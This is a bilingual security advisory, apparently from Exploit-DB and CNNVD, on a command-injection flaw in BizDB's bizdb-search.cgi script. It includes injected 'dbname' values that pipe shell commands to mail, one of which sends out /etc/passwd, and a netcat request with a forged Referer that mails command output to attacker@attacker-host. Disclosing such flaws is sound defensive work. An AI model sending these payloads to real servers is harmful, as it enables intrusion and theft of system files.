https://www.exploit-db.com/exploits/19844
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200004-030

BizDB是Cnctek开发的数据库以及搜索引擎软件。BizDB安装程序中包含一个CGI脚本：bizdb-search.cgi，它被用来搜索bizdb数据库。攻击者可以通过修改CGI参数使bizdb-search.cgi在Web服务器上执行shell命令。bizdb-search.cgi使用”open”命令来打开数据库文件，该文件名是由”dbname”变量接收用户输入的。它并没有对输入数据进行检查。攻击者可以用带有管道符的shell命令替换掉正常的数据库文件名：”bizdb”，例如：”;cat%20/etc/passwd|mail%[email protected]|”这样，/etc/passwd文件的内容就会被发送到攻击者的邮箱中去。这个脚本会检查是否HTTP_REFERER变量是否被正确设置，但是这个变量是很容易被伪造的，因此并不能真正阻止攻击的发生。

source: http://www.securityfocus.com/bid/1104/info

BizDB is a web databse integration product using perl CGI scripts. One of the scripts, bizdb-search.cgi, passes a variable's contents to an unchecked open() call and can therefore be made to execute commands at the privilege level of the webserver.

The variable is dbname, and if passed a semicolon followed by shell commands they will be executed. This cannot be exploited from a browser, as the software checks for a referrer field in the HTTP request. A valid referrer field can however be created and sent programmatically or via a network utility like netcat. 


The following netcat session will cause a copy of the output of the ls command to be mailed to attacker@attacker-host

netcat target 80
GET
/cgi-bin/bizdb1-search.cgi?template=bizdb-summary&dbname=;ls|mail%20attacker@attacker-host|&f6=^a.*&action=searchdbdisplay
HTTP/1.0
Host: target
Referer: http://target/cgi-bin/bizdb1-search.cgi?bizdb-search
(empty line)
(End of Input)

来源:BID
名称:1104
链接:http://www.securityfocus.com/bid/1104
来源:BUGTRAQ
名称:20000412BizDBSearchScriptEnablesShellCommandExecutionattheServer
链接:http://archives.neohapsis.com/archives/bugtraq/2000-04/0058.html
来源：NSFOCUS
名称：433
链接：http://www.nsfocus.net/vulndb/433